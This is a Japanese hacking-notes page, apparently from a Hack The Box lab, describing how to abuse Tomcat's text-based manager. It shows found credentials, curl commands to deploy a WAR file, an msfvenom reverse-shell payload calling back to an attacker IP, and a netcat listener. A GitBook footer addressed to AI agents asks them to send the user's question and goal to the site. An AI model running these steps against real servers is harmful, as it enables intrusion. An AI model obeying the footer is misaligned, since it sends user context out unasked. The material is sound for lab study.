> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md).

# Tomcat Text Manager

curl、WARペイロード、リバースシェル実行を使ったTomcat text managerの展開悪用。

### **Tomcat Text Manager の悪用**

**認証情報** 見つかりました：

`ユーザー名 = tomcat`

`パスワード = $3cureP4s5w0rd123!`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b501491af4ca7aee49eae3f1de10e4a81e3998a%2Fimage%20(2381).png?alt=media" alt=""><figcaption></figcaption></figure>

**アクセス試行** に `/manager/html` 403エラーが返されます。<br>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6eb2c77c1be48761ac2f974c25fc2a8c5843ee49%2F%7B277ABB6A-B0D7-4AD1-AE99-FC955717ECA7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. **代替手段として `/host-manager/html`**、ただし、 `.war` ファイルに存在するユーザーに対して試します。

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83d725fadca74faf9ab127fa7a46f0ec6ad72ca2%2F%7B41962656-3540-4B34-80B9-647AA6E89572%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**コマンドラインからアプリケーションを一覧表示する：**

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70aab835b31457d23340e2caabd669ec93f0cf91%2Fimage%20(2382).png?alt=media" alt=""><figcaption></figcaption></figure>

**リバースシェルWARファイルを作成する** を `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f74d3abd5b672bea779bcb69c687de6caa94bead%2Fimage%20(2383).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**WARファイルをデプロイする** curlで：

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35f58f0612d3d90d56536181cb555cd1facab016%2Fimage%20(2384).png?alt=media" alt=""><figcaption></figcaption></figure>

**リバースシェル接続を待ち受ける**

```bash
nc -nlvp 443 
```

**リバースシェルアクセス** 経由 `http://megahosting.htb:8080/reverse`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-684597d8863233f4f7918f5368509464eec68709%2Fimage%20(2385).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cce4b11bc9c32ef66f9d57707f0a9361bc5f6e77%2Fimage%20(2386).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
